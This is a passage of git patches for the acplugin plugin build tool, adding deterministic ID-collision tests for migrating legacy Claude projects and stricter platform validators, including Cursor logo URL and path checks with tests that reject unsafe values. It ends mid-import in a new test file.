pattern?: string): string[] { export function listDirs(dir: string): string[] { if (!fs.existsSync(dir)) return []; /** 当前目录的一级目录项。 */ - const entries = fs.readdirSync(dir, { withFileTypes: true }); + const entries = fs.readdirSync(dir, { withFileTypes: true }) + .sort((left, right) => compareCodeUnits(left.name, right.name)); return entries .filter(e => e.isDirectory()) .map(e => path.join(dir, e.name)); @@ -87,7 +102,8 @@ export function listFilesRecursive(dir: string): string[] { /** 当前递归子树累计发现的普通文件。 */ const results: string[] = []; /** 当前目录的一级目录项。 */ - const entries = fs.readdirSync(dir, { withFileTypes: true }); + const entries = fs.readdirSync(dir, { withFileTypes: true }) + .sort((left, right) => compareCodeUnits(left.name, right.name)); for (const entry of entries) { /** 当前目录项的完整路径。 */ const fullPath = path.join(dir, entry.name); diff --git a/packages/test/test/migration.test.ts b/packages/test/test/migration.test.ts index ad2cb45..f91102e 100644 --- a/packages/test/test/migration.test.ts +++ b/packages/test/test/migration.test.ts @@ -11,6 +11,41 @@ const roots: string[] = []; /** 仓库内用于验证旧 Claude 工程迁移的固定 Fixture。 */ const legacyProjectFixture = path.resolve(import.meta.dirname, '../fixtures/migration/claude-project'); +/** + * 创建四种资源都包含规范化 ID 冲突的旧 Claude 工程。 + * + * @param root 当前测试的临时工作目录。 + * @param directory 来源工程目录名。 + * @param reversed 是否反转文件创建和 MCP 对象插入顺序。 + * @returns 已写入完整碰撞矩阵的旧工程路径。 + */ +async function collisionProject(root: string, directory: string, reversed: boolean): Promise { + /** 当前碰撞矩阵使用的旧工程根。 */ + const source = path.join(root, directory); + /** `foo!` 与 `foo` 归一为同一 base,显式 `foo-2` 必须优先保留。 */ + const canonicalOrder = ['foo!', 'foo', 'foo-2']; + /** 文件创建与 MCP JSON 插入使用的当前顺序。 */ + const names = reversed ? [...canonicalOrder].reverse() : canonicalOrder; + await fs.mkdir(path.join(source, '.claude/commands'), { recursive: true }); + await fs.mkdir(path.join(source, '.claude/agents'), { recursive: true }); + await fs.mkdir(path.join(source, '.claude/skills'), { recursive: true }); + for (const name of names) { + await fs.writeFile(path.join(source, '.claude/commands', `${name}.md`), `---\ndescription: Command ${name}.\n---\nCommand body ${name}.\n`); + await fs.writeFile(path.join(source, '.claude/agents', `${name}.md`), `---\ndescription: Agent ${name}.\n---\nAgent body ${name}.\n`); + await fs.mkdir(path.join(source, '.claude/skills', name), { recursive: true }); + await fs.writeFile(path.join(source, '.claude/skills', name, 'SKILL.md'), `---\ndescription: Skill ${name}.\n---\nSkill body ${name}.\n`); + } + /** MCP 对象额外加入大小写冲突,不受宿主文件系统大小写能力限制。 */ + const mcpNames = reversed ? ['foo-2', 'foo', 'foo!', 'Foo'] : ['Foo', 'foo!', 'foo', 'foo-2']; + /** 每个旧 MCP 名称对应的可区分安全远程声明。 */ + const mcpServers = Object.fromEntries(mcpNames.map(name => [name, { + type: 'http', + url: `https://mcp.example.com/${name === 'foo!' ? 'bang' : name}`, + }])); + await fs.writeFile(path.join(source, '.mcp.json'), JSON.stringify({ mcpServers })); + return source; +} + afterEach(async () => { await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); @@ -22,6 +57,100 @@ describe('legacy Migration', () => { expect(() => parseGitHubSource('https://github.com/owner/repo/tree/main/../../outside')).toThrow('must stay inside'); }); + it('allocates collision-safe deterministic IDs per resource namespace without stealing explicit suffixes', async () => { + /** 两种发现/对象顺序共享的临时工作目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-collision-test-')); + roots.push(root); + /** 正向创建和 MCP key 顺序的旧工程。 */ + await collisionProject(root, 'source-forward', false); + /** 反向创建和 MCP key 顺序的语义相同旧工程。 */ + await collisionProject(root, 'source-reverse', true); + /** 第一份完整碰撞矩阵迁移报告。 */ + const first = await migrate({ + cwd: root, + source: 'source-forward', + destination: 'output-forward', + name: 'collision-fixture', + description: 'Collision fixture.', + }); + /** 第二份只改变发现/对象顺序的迁移报告。 */ + const second = await migrate({ + cwd: root, + source: 'source-reverse', + destination: 'output-reverse', + name: 'collision-fixture', + description: 'Collision fixture.', + }); + + expect(first.success, JSON.stringify(first.diagnostics)).toBe(true); + expect(second.success, JSON.stringify(second.diagnostics)).toBe(true); + /** kind 表示当前必须拥有独立 namespace 的规范资源类别。 */ + for (const kind of ['command', 'skill', 'agent']) { + /** 当前类别最终分配且按报告顺序出现的 ID。 */ + const ids = first.items.filter(item => item.kind === kind).map(item => item.id); + expect(ids).toEqual(['foo', 'foo-2', 'foo-3']); + expect(new Set(first.items.filter(item => item.kind === kind).map(item => item.destination)).size).toBe(3); + } + expect(first.items.filter(item => item.kind === 'mcp').map(item => item.id)).toEqual(['foo', 'foo-2', 'foo-3', 'foo-4']); + expect(new Set(first.items.filter(item => item.kind === 'mcp').map(item => item.destination)).size).toBe(4); + expect(first.items.find(item => item.kind === 'command' && item.id === 'foo')).toMatchObject({ + source: '.claude/commands/foo!.md', destination: 'src/commands/foo.md', outcome: 'degraded', + }); + expect(first.items.find(item => item.kind === 'command' && item.id === 'foo-2')).toMatchObject({ + source: '.claude/commands/foo-2.md', destination: 'src/commands/foo-2.md', + }); + expect(first.items.find(item => item.kind === 'command' && item.id === 'foo-3')).toMatchObject({ + source: '.claude/commands/foo.md', destination: 'src/commands/foo-3.md', outcome: 'degraded', + }); + expect(await fs.readFile(path.join(root, 'output-forward/src/commands/foo.md'), 'utf8')).toContain('Command body foo!.'); + expect(await fs.readFile(path.join(root, 'output-forward/src/commands/foo-2.md'), 'utf8')).toContain('Command body foo-2.'); + expect(await fs.readFile(path.join(root, 'output-forward/src/commands/foo-3.md'), 'utf8')).toContain('Command body foo.'); + /** 两次提交后持久化的稳定报告字节。 */ + const firstReport = await fs.readFile(path.join(root, 'output-forward/.acplugin-migration/report.json'), 'utf8'); + /** 反向输入产生的稳定报告字节。 */ + const secondReport = await fs.readFile(path.join(root, 'output-reverse/.acplugin-migration/report.json'), 'utf8'); + expect(secondReport).toBe(firstReport); + }); + + it('allocates unique deterministic workspace directories for --all Marketplace migration', async () => { + /** workspace 目录冲突测试使用的临时工作目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-marketplace-collision-test-')); + roots.push(root); + /** 包含三个规范化后冲突名称的旧 Marketplace。 */ + const marketplace = path.join(root, 'marketplace'); + await fs.mkdir(path.join(marketplace, '.claude-plugin'), { recursive: true }); + /** Marketplace 条目及稳定来源目录;显式 foo-2 必须保留自己的目录。 */ + const plugins = [ + { name: 'foo!', source: './plugins/a', description: 'Foo bang.' }, + { name: 'foo', source: './plugins/b', description: 'Foo plain.' }, + { name: 'foo-2', source: './plugins/c', description: 'Foo explicit.' }, + ]; + await fs.writeFile(path.join(marketplace, '.claude-plugin/marketplace.json'), JSON.stringify({ + name: 'collision-marketplace', + plugins, + })); + /** plugin 表示当前需要具备至少一个真实资源的 Marketplace 成员。 */ + for (const plugin of plugins) { + /** 当前 Marketplace 成员的最小旧 Skill 目录。 */ + const pluginRoot = path.join(marketplace, plugin.source, 'skills/hello'); + await fs.mkdir(pluginRoot, { recursive: true }); + await fs.writeFile(path.join(pluginRoot, 'SKILL.md'), `---\ndescription: ${plugin.name}.\n---\n${plugin.name}.\n`); + } + + /** 批量迁移产生的 workspace 报告。 */ + const report = await migrate({ cwd: root, source: 'marketplace', destination: 'workspace', all: true }); + + expect(report.success, JSON.stringify(report.diagnostics)).toBe(true); + expect(report.projects).toEqual(['foo', 'foo-2', 'foo-3']); + expect(await fs.readFile(path.join(root, 'workspace/pnpm-workspace.yaml'), 'utf8')).toBe('packages:\n - foo\n - foo-2\n - foo-3\n'); + await fs.access(path.join(root, 'workspace/foo/src/skills/hello/SKILL.md')); + await fs.access(path.join(root, 'workspace/foo-2/src/skills/hello/SKILL.md')); + await fs.access(path.join(root, 'workspace/foo-3/src/skills/hello/SKILL.md')); + expect(await fs.readFile(path.join(root, 'workspace/foo/acplugin.config.ts'), 'utf8')).toContain('name: "foo"'); + expect(await fs.readFile(path.join(root, 'workspace/foo-2/acplugin.config.ts'), 'utf8')).toContain('name: "foo-2"'); + expect(await fs.readFile(path.join(root, 'workspace/foo-3/acplugin.config.ts'), 'utf8')).toContain('name: "foo-3"'); + }); + it('creates a canonical project and preserves unmapped resources in a sidecar', async () => { /** 正常迁移测试使用的临时工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); From f560102eec372233da186ec0bd67834c5da16ee7 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 13:44:48 +0800 Subject: [PATCH 06/27] fix(platforms): tighten compatibility and bundle validation --- .../antigravity/test/platform.test.ts | 39 ++++++- .../platforms/claude-code/src/components.ts | 15 ++- .../platforms/claude-code/src/manifest.ts | 15 ++- packages/platforms/codex/src/components.ts | 9 ++ packages/platforms/codex/src/manifest.ts | 15 ++- packages/platforms/codex/src/validator.ts | 15 ++- packages/platforms/cursor/src/validator.ts | 78 +++++++++++++ .../platforms/cursor/test/platform.test.ts | 46 +++++++- packages/platforms/opencode/src/validator.ts | 5 - .../platforms/opencode/test/platform.test.ts | 39 ++++++- packages/platforms/pi/test/platform.test.ts | 47 +++++++- packages/test/test/codex.test.ts | 105 +++++++++++++++++- .../test/test/secondary-platforms.test.ts | 51 +++++++++ 13 files changed, 463 insertions(+), 16 deletions(-) diff --git a/packages/platforms/antigravity/test/platform.test.ts b/packages/platforms/antigravity/test/platform.test.ts index f5a35c7..9278477 100644 --- a/packages/platforms/antigravity/test/platform.test.ts +++ b/packages/platforms/antigravity/test/platform.test.ts @@ -2,7 +2,16 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { + bytesArtifact, + DeliveryUnitRegistry, + executeLifecycle, + resolveConfig, + stableJson, + withMaterializedDeliveryUnitCandidate, + type DiagnosticInput, + type ResolvedConfig, +} from '@acplugin/core'; import { antigravity } from '../src/index.js'; /** 测试结束后统一删除的临时工程根目录。 */ @@ -73,4 +82,32 @@ describe('Antigravity Platform', () => { expect(await fs.readFile(manifestPath)).toEqual(await fs.readFile(path.join(goldenRoot, 'plugin.json'))); await fs.access(path.join(root, 'dist/antigravity/plugin/skills/review/SKILL.md')); }); + + it('rejects a structurally invalid final manifest with the platform-specific code', async () => { + /** 候选物化使用的独占临时父目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-antigravity-validator-')); + temporaryRoots.push(root); + /** 真实 Platform Validator 与 Core Registry 共同验证的无效单元。 */ + const platform = antigravity(); + /** 为无效候选补齐 owner/hash 的 Core Registry。 */ + const units = new DeliveryUnitRegistry(new Map()); + /** 包含结构错误 Manifest 的已注册候选单元。 */ + const unit = await units.add(platform.id, { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [bytesArtifact('plugin.json', stableJson({ name: '', extra: true }))], + }); + /** Validator 返回的稳定平台诊断。 */ + const diagnostics: DiagnosticInput[] = []; + await withMaterializedDeliveryUnitCandidate(unit, candidate => platform.validateBundle!({ + command: 'build', + mode: 'production', + candidate, + /** 收集最终候选校验产生的平台诊断。 */ + reportDiagnostic: diagnostic => diagnostics.push(diagnostic), + }), root); + + expect(diagnostics).toContainEqual(expect.objectContaining({ code: 'ANTIGRAVITY_MANIFEST_INVALID' })); + }); }); diff --git a/packages/platforms/claude-code/src/components.ts b/packages/platforms/claude-code/src/components.ts index a8fe0aa..177e906 100644 --- a/packages/platforms/claude-code/src/components.ts +++ b/packages/platforms/claude-code/src/components.ts @@ -39,6 +39,19 @@ const FIELDS_BY_KIND = { /** 把未知 JSON 字段收窄为普通只读对象。 */ type UnknownFields = Readonly>; +/** + * 按 UTF-16 code unit 比较 Claude Code 生成值,不依赖宿主 locale/ICU。 + * + * @param left 左侧字符串。 + * @param right 右侧字符串。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** * 判断值是否为非空字符串。 * @@ -161,7 +174,7 @@ function claudeTools(capabilities: readonly AgentCapability[]): string[] { // WebSearch 同时具有检索和联网语义,只有两项能力都声明时才能授予,避免扩大 Agent 权限。 if (capabilities.includes('search') && capabilities.includes('network')) result.add('WebSearch'); - return [...result].sort((left, right) => left.localeCompare(right, 'en')); + return [...result].sort(compareCodeUnits); } /** diff --git a/packages/platforms/claude-code/src/manifest.ts b/packages/platforms/claude-code/src/manifest.ts index 5b30fb3..f22e3f3 100644 --- a/packages/platforms/claude-code/src/manifest.ts +++ b/packages/platforms/claude-code/src/manifest.ts @@ -35,6 +35,19 @@ const PLATFORM_OWNER = 'platform:claude-code' as const; /** Marketplace 名称允许使用的小写 kebab-case 规则。 */ const MARKETPLACE_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +/** + * 按 UTF-16 code unit 比较 Claude Code DeliveryUnit ID,不依赖宿主 locale/ICU。 + * + * @param left 左侧 ID。 + * @param right 右侧 ID。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** * 校验可选字符串字段,避免空白展示值进入 Marketplace 清单。 * @@ -265,7 +278,7 @@ function marketplaceLayouts(primaryUnits: readonly DeliveryUnit[]): readonly Mar if (primaryUnits.length === 0) throw new Error('Claude Code Marketplace requires at least one validated primary Plugin.'); /** 按单元 ID 排序,避免未来编排器的集合遍历顺序影响 Marketplace 字节。 */ - const units = [...primaryUnits].sort((left, right) => left.id.localeCompare(right.id, 'en')); + const units = [...primaryUnits].sort((left, right) => compareCodeUnits(left.id, right.id)); if (new Set(units.map(unit => unit.id)).size !== units.length) throw new Error('Claude Code Marketplace received duplicate primary DeliveryUnit IDs.'); if (units.length === 1) diff --git a/packages/platforms/codex/src/components.ts b/packages/platforms/codex/src/components.ts index 1a98092..43807f2 100644 --- a/packages/platforms/codex/src/components.ts +++ b/packages/platforms/codex/src/components.ts @@ -313,6 +313,15 @@ export function generateComponentArtifacts(context: PlatformGenerateContext): Ar transformation: `Explicit Skill ${id}`, reason: 'Codex represents Commands as explicitly invoked Skills.', }); + if (command.body.includes('{{arguments}}')) { + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'arguments', + level: 'transform', + transformation: 'The arguments placeholder becomes explicit invocation guidance.', + reason: 'Codex Skills receive arguments through the invoking prompt rather than a Command placeholder.', + }); + } if (command.argumentHint !== undefined) { context.reportCompatibility({ subject: `command:${command.id}`, diff --git a/packages/platforms/codex/src/manifest.ts b/packages/platforms/codex/src/manifest.ts index 98e6bc1..3755606 100644 --- a/packages/platforms/codex/src/manifest.ts +++ b/packages/platforms/codex/src/manifest.ts @@ -43,6 +43,19 @@ const PLATFORM_OWNER = 'platform:codex' as const; /** Codex Marketplace 机器名称采用的保守 kebab-case 规则。 */ const MARKETPLACE_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +/** + * 按 UTF-16 code unit 比较 Codex DeliveryUnit ID,不依赖宿主 locale/ICU。 + * + * @param left 左侧 ID。 + * @param right 右侧 ID。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** Codex 官方插件目录当前接受的分类集合。 */ const CATEGORIES = new Set(CODEX_CATEGORIES); @@ -310,7 +323,7 @@ function marketplaceLayouts(primaryUnits: readonly DeliveryUnit[]): readonly Mar if (primaryUnits.length === 0) throw new Error('Codex Marketplace requires at least one validated primary Plugin.'); /** 按单元 ID 排序,避免未来编排器的集合遍历顺序影响 Marketplace 字节。 */ - const units = [...primaryUnits].sort((left, right) => left.id.localeCompare(right.id, 'en')); + const units = [...primaryUnits].sort((left, right) => compareCodeUnits(left.id, right.id)); if (new Set(units.map(unit => unit.id)).size !== units.length) throw new Error('Codex Marketplace received duplicate primary DeliveryUnit IDs.'); if (units.length === 1) diff --git a/packages/platforms/codex/src/validator.ts b/packages/platforms/codex/src/validator.ts index 634bc5e..1120bc6 100644 --- a/packages/platforms/codex/src/validator.ts +++ b/packages/platforms/codex/src/validator.ts @@ -33,6 +33,19 @@ const SKILL_INTERFACE_FIELDS = new Set([ 'display_name', 'short_description', 'icon_small', 'icon_large', 'brand_color', 'default_prompt', ]); +/** + * 按 UTF-16 code unit 比较 Codex Skill ID,不依赖宿主 locale/ICU。 + * + * @param left 左侧 ID。 + * @param right 右侧 ID。 + * @returns 与 Array.sort 约定一致的 -1、0 或 1。 + */ +function compareCodeUnits(left: string, right: string): number { + if (left === right) + return 0; + return left < right ? -1 : 1; +} + /** Codex Skill 元数据 `policy` 允许出现的字段。 */ const SKILL_POLICY_FIELDS = new Set(['products', 'allow_implicit_invocation']); @@ -847,7 +860,7 @@ async function validateSkills( /** 已验证 Skill frontmatter 名称的全局唯一性集合。 */ const names = new Set(); /** skillId 表示当前排序后的 Skill,用于生成确定诊断顺序。 */ - for (const skillId of [...directories].sort((left, right) => left.localeCompare(right, 'en'))) { + for (const skillId of [...directories].sort(compareCodeUnits)) { if (!SKILL_ID_PATTERN.test(skillId)) report(context, 'CODEX_SKILL_DIRECTORY_INVALID', `Skill directory "${skillId}" must use lowercase kebab-case.`, ['skills', skillId]); await validateSkill(context, artifacts, pluginRoot, pluginName, skillId, names); diff --git a/packages/platforms/cursor/src/validator.ts b/packages/platforms/cursor/src/validator.ts index 29e9fab..3c8d6f4 100644 --- a/packages/platforms/cursor/src/validator.ts +++ b/packages/platforms/cursor/src/validator.ts @@ -86,6 +86,82 @@ function referenceExists(artifacts: ReadonlySet, reference: string): boo return directory.length > 0 && [...artifacts].some(artifact => artifact.startsWith(directory)); } +/** Cursor logo 中显式 URL scheme 的稳定识别规则。 */ +const URL_SCHEME_PATTERN = /^[A-Za-z][A-Za-z\d+.-]*:/u; + +/** + * 校验 Cursor logo 的远端 URL 分支。 + * + * @param value 带显式 scheme 的 logo 候选。 + * @returns 仅无凭据 HTTPS 网络 URL 返回 true。 + */ +function isSafeLogoUrl(value: string): boolean { + try { + /** URL 解析后的协议、主机和凭据共同定义远端资源信任边界。 */ + const url = new URL(value); + return url.protocol === 'https:' + && url.hostname.length > 0 + && url.username === '' + && url.password === ''; + } catch { + return false; + } +} + +/** + * 校验 Cursor logo 的 Plugin 根相对路径分支。 + * + * @param value 不带 URL scheme 的 logo 候选。 + * @returns 安全路径对应的 Artifact lookup key;非法时返回 undefined。 + */ +function logoArtifactPath(value: string): string | undefined { + if (value === '' + || value.includes('\0') + || value.includes('\\') + || path.posix.isAbsolute(value) + || path.win32.isAbsolute(value) + || value.split('/').includes('..')) { + return undefined; + } + /** Cursor 接受可选 `./`,Artifact Registry 使用无前缀 POSIX 路径。 */ + const normalized = path.posix.normalize(value).replace(/^\.\//u, ''); + return normalized === '.' || normalized.startsWith('../') ? undefined : normalized; +} + +/** + * 按互斥 URL/Artifact 分支校验 Cursor logo。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前候选交付单元的 Artifact 路径集合。 + * @param value Manifest logo 字段候选。 + */ +function validateLogo( + context: PlatformValidateContext, + artifacts: ReadonlySet, + value: JsonValue, +): void { + if (typeof value !== 'string') { + report(context, 'CURSOR_LOGO_PATH_INVALID', 'logo must be an HTTPS URL or a safe Plugin-root Artifact path.', ['logo']); + return; + } + /** 本机绝对路径优先归入相对路径边界,避免盘符被误判成 URL scheme。 */ + if (path.posix.isAbsolute(value) || path.win32.isAbsolute(value) || value.includes('\\') || value.includes('\0')) { + report(context, 'CURSOR_LOGO_PATH_INVALID', 'logo path must be a safe POSIX path relative to the Plugin root.', ['logo']); + return; + } + if (URL_SCHEME_PATTERN.test(value)) { + if (!isSafeLogoUrl(value)) + report(context, 'CURSOR_LOGO_URL_INVALID', 'logo URL must be an absolute HTTPS URL without credentials.', ['logo']); + return; + } + /** 不带 scheme 的输入只能引用当前候选中实际存在的 Artifact。 */ + const artifactPath = logoArtifactPath(value); + if (artifactPath === undefined) + report(context, 'CURSOR_LOGO_PATH_INVALID', 'logo path must be a safe POSIX path relative to the Plugin root.', ['logo']); + else if (!artifacts.has(artifactPath)) + report(context, 'CURSOR_LOGO_ARTIFACT_MISSING', 'logo path must reference a generated Plugin Artifact.', ['logo']); +} + /** * 校验 Cursor Manifest 路径字段的安全性和存在性。 * @@ -149,6 +225,8 @@ export async function validateCursorBundle(context: PlatformValidateContext): Pr else if (Object.keys(author).some(field => field !== 'name' && field !== 'email')) report(context, 'CURSOR_MANIFEST_AUTHOR_FIELD_UNKNOWN', 'author accepts only name and email.', ['author']); } + if (manifest.logo !== undefined) + validateLogo(context, artifacts, manifest.logo); /** field 表示当前 acplugin 可能生成的 Component Glob。 */ for (const field of ['commands', 'skills', 'agents'] as const) { if (manifest[field] !== undefined) diff --git a/packages/platforms/cursor/test/platform.test.ts b/packages/platforms/cursor/test/platform.test.ts index 53f1c02..3629620 100644 --- a/packages/platforms/cursor/test/platform.test.ts +++ b/packages/platforms/cursor/test/platform.test.ts @@ -12,7 +12,7 @@ const temporaryRoots: string[] = []; /** Cursor 官方 Schema 与 Manifest Golden 的固定目录。 */ const goldenRoot = path.join(import.meta.dirname, 'golden'); -/** 2026-08-06 核验的 Cursor 官方 Schema 内容摘要。 */ +/** 2026-08-08 重新核验的 Cursor 官方 Schema 内容摘要。 */ const CURSOR_SCHEMA_SHA256 = 'a393b758901803fcf5cfe0d77bda8a83e987d32c3377dfce2d9edf445af884ed'; /** Cursor 官方 Schema 的固定上游来源。 */ @@ -45,7 +45,7 @@ async function createProject(): Promise { } /** 解析仅包含 Cursor Platform 的严格测试配置。 */ -function resolvedConfig(root: string): ResolvedConfig { +function resolvedConfig(root: string, logo = './assets/logo.svg'): ResolvedConfig { /** 使用完整统一元数据和全部 Cursor 平台选项的解析结果。 */ const result = resolveConfig({ name: 'release-tools', @@ -59,7 +59,7 @@ function resolvedConfig(root: string): ResolvedConfig { keywords: ['release', 'review'], platforms: [cursor({ publisher: 'TokenRoll', - logo: './assets/logo.svg', + logo, category: 'Developer Tools', tags: ['release', 'automation'], minClientVersions: { cursor: '1.2.3' }, @@ -114,4 +114,44 @@ describe('Cursor Platform', () => { it('rejects unowned Platform options at the public factory boundary', () => { expect(() => cursor({ experimental: true } as never)).toThrow('Unknown Cursor Platform option'); }); + + it('accepts an absolute credential-free HTTPS logo URL', async () => { + /** 远端 HTTPS logo 不需要候选交付单元包含同名 Artifact。 */ + const root = await createProject(); + /** 使用远端 logo 完成候选校验的构建结果。 */ + const result = await executeLifecycle({ + config: resolvedConfig(root, 'https://cdn.example.com/plugin/logo.svg'), + /** 纯静态 Cursor Fixture 不加载作者 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(result.success).toBe(true); + expect(result.diagnostics.some(diagnostic => diagnostic.code.startsWith('CURSOR_LOGO_'))).toBe(false); + }); + + it.each([ + ['file URL', 'file:///tmp/logo.svg', 'CURSOR_LOGO_URL_INVALID'], + ['data URL', 'data:image/svg+xml;base64,PHN2Zy8+', 'CURSOR_LOGO_URL_INVALID'], + ['credential URL', 'https://user:secret@example.com/logo.svg', 'CURSOR_LOGO_URL_INVALID'], + ['incomplete URL', 'https://', 'CURSOR_LOGO_URL_INVALID'], + ['POSIX absolute path', '/tmp/logo.svg', 'CURSOR_LOGO_PATH_INVALID'], + ['Win32 absolute path', 'C:\\temp\\logo.svg', 'CURSOR_LOGO_PATH_INVALID'], + ['backslash path', 'assets\\logo.svg', 'CURSOR_LOGO_PATH_INVALID'], + ['parent traversal', '../../logo.svg', 'CURSOR_LOGO_PATH_INVALID'], + ['missing Artifact', './assets/missing.svg', 'CURSOR_LOGO_ARTIFACT_MISSING'], + ])('rejects an unsafe or missing %s', async (_label, logo, code) => { + /** 每个不可信 logo 候选使用独立工程验证稳定诊断。 */ + const root = await createProject(); + /** 当前不可信 logo 对应的生命周期失败结果。 */ + const result = await executeLifecycle({ + config: resolvedConfig(root, logo), + /** 纯静态 Cursor Fixture 不加载作者 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code, platform: 'cursor', fieldPath: ['logo'] })); + }); }); diff --git a/packages/platforms/opencode/src/validator.ts b/packages/platforms/opencode/src/validator.ts index 89e0d5a..2fdd8f5 100644 --- a/packages/platforms/opencode/src/validator.ts +++ b/packages/platforms/opencode/src/validator.ts @@ -40,11 +40,6 @@ export async function validateOpenCodeBundle(context: PlatformValidateContext): const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); if (artifacts.has('package.json')) report(context, 'OPENCODE_PACKAGE_JSON_FORBIDDEN', 'OpenCode workspace delivery must not generate a generic package.json.'); - for (const artifact of artifacts) { - if (artifact === WORKSPACE_CONFIG_PATH || artifact.startsWith('.opencode/') || artifact.startsWith('public/')) - continue; - // Public 文件可以由作者映射到任意安全相对路径;其安全性已由 Core Artifact Registry 保证。 - } if (!artifacts.has(WORKSPACE_CONFIG_PATH)) return; try { diff --git a/packages/platforms/opencode/test/platform.test.ts b/packages/platforms/opencode/test/platform.test.ts index 207b1f5..1073654 100644 --- a/packages/platforms/opencode/test/platform.test.ts +++ b/packages/platforms/opencode/test/platform.test.ts @@ -2,7 +2,16 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { + bytesArtifact, + DeliveryUnitRegistry, + executeLifecycle, + resolveConfig, + stableJson, + withMaterializedDeliveryUnitCandidate, + type DiagnosticInput, + type ResolvedConfig, +} from '@acplugin/core'; import { openCode } from '../src/index.js'; /** 测试结束后统一删除的临时工程根目录。 */ @@ -94,4 +103,32 @@ describe('OpenCode Platform', () => { expect(build.success, JSON.stringify(build.diagnostics)).toBe(true); await expect(fs.access(path.join(root, 'dist/opencode/workspace/opencode.json'))).rejects.toThrow(); }); + + it('rejects a non-object MCP section with the platform-specific code', async () => { + /** 候选物化使用的独占临时父目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-opencode-validator-')); + temporaryRoots.push(root); + /** 真实 Platform Validator 与 Core Registry 共同验证的无效单元。 */ + const platform = openCode(); + /** 为无效候选补齐 owner/hash 的 Core Registry。 */ + const units = new DeliveryUnitRegistry(new Map()); + /** 包含错误 MCP 配置形态的已注册候选单元。 */ + const unit = await units.add(platform.id, { + id: 'workspace', + role: 'primary', + type: 'workspace', + artifacts: [bytesArtifact('opencode.json', stableJson({ mcp: [] }))], + }); + /** Validator 返回的稳定平台诊断。 */ + const diagnostics: DiagnosticInput[] = []; + await withMaterializedDeliveryUnitCandidate(unit, candidate => platform.validateBundle!({ + command: 'build', + mode: 'production', + candidate, + /** 收集最终候选校验产生的平台诊断。 */ + reportDiagnostic: diagnostic => diagnostics.push(diagnostic), + }), root); + + expect(diagnostics).toContainEqual(expect.objectContaining({ code: 'OPENCODE_MCP_CONFIG_INVALID' })); + }); }); diff --git a/packages/platforms/pi/test/platform.test.ts b/packages/platforms/pi/test/platform.test.ts index e143438..f7fbd14 100644 --- a/packages/platforms/pi/test/platform.test.ts +++ b/packages/platforms/pi/test/platform.test.ts @@ -3,7 +3,16 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { + bytesArtifact, + DeliveryUnitRegistry, + executeLifecycle, + resolveConfig, + stableJson, + withMaterializedDeliveryUnitCandidate, + type DiagnosticInput, + type ResolvedConfig, +} from '@acplugin/core'; import { pi } from '../src/index.js'; /** 测试结束后统一删除的临时工程根目录。 */ @@ -110,4 +119,40 @@ describe('Pi Platform', () => { await fs.access(path.join(installedRoot, manifest.pi.prompts[0]!.slice(2), 'release.md')); await fs.access(path.join(installedRoot, manifest.pi.image.slice(2))); }, 30_000); + + it('rejects workspace metadata in a final package with the platform-specific code', async () => { + /** 候选物化使用的独占临时父目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-pi-validator-')); + temporaryRoots.push(root); + /** 真实 Platform Validator 与 Core Registry 共同验证的无效单元。 */ + const platform = pi(); + /** 为无效候选补齐 owner/hash 的 Core Registry。 */ + const units = new DeliveryUnitRegistry(new Map()); + /** 包含禁止 workspace 元数据的已注册候选单元。 */ + const unit = await units.add(platform.id, { + id: 'package', + role: 'primary', + type: 'package', + artifacts: [bytesArtifact('package.json', stableJson({ + name: 'invalid-pi-package', + version: '1.0.0', + description: 'Invalid workspace metadata fixture.', + type: 'module', + keywords: ['pi-package'], + private: true, + pi: {}, + }))], + }); + /** Validator 返回的稳定平台诊断。 */ + const diagnostics: DiagnosticInput[] = []; + await withMaterializedDeliveryUnitCandidate(unit, candidate => platform.validateBundle!({ + command: 'build', + mode: 'production', + candidate, + /** 收集最终候选校验产生的平台诊断。 */ + reportDiagnostic: diagnostic => diagnostics.push(diagnostic), + }), root); + + expect(diagnostics).toContainEqual(expect.objectContaining({ code: 'PI_PACKAGE_WORKSPACE_LEAK' })); + }); }); diff --git a/packages/test/test/codex.test.ts b/packages/test/test/codex.test.ts index 7798d0d..18eb3df 100644 --- a/packages/test/test/codex.test.ts +++ b/packages/test/test/codex.test.ts @@ -1,13 +1,69 @@ +import { spawn } from 'node:child_process'; import { promises as fs } from 'node:fs'; +import os 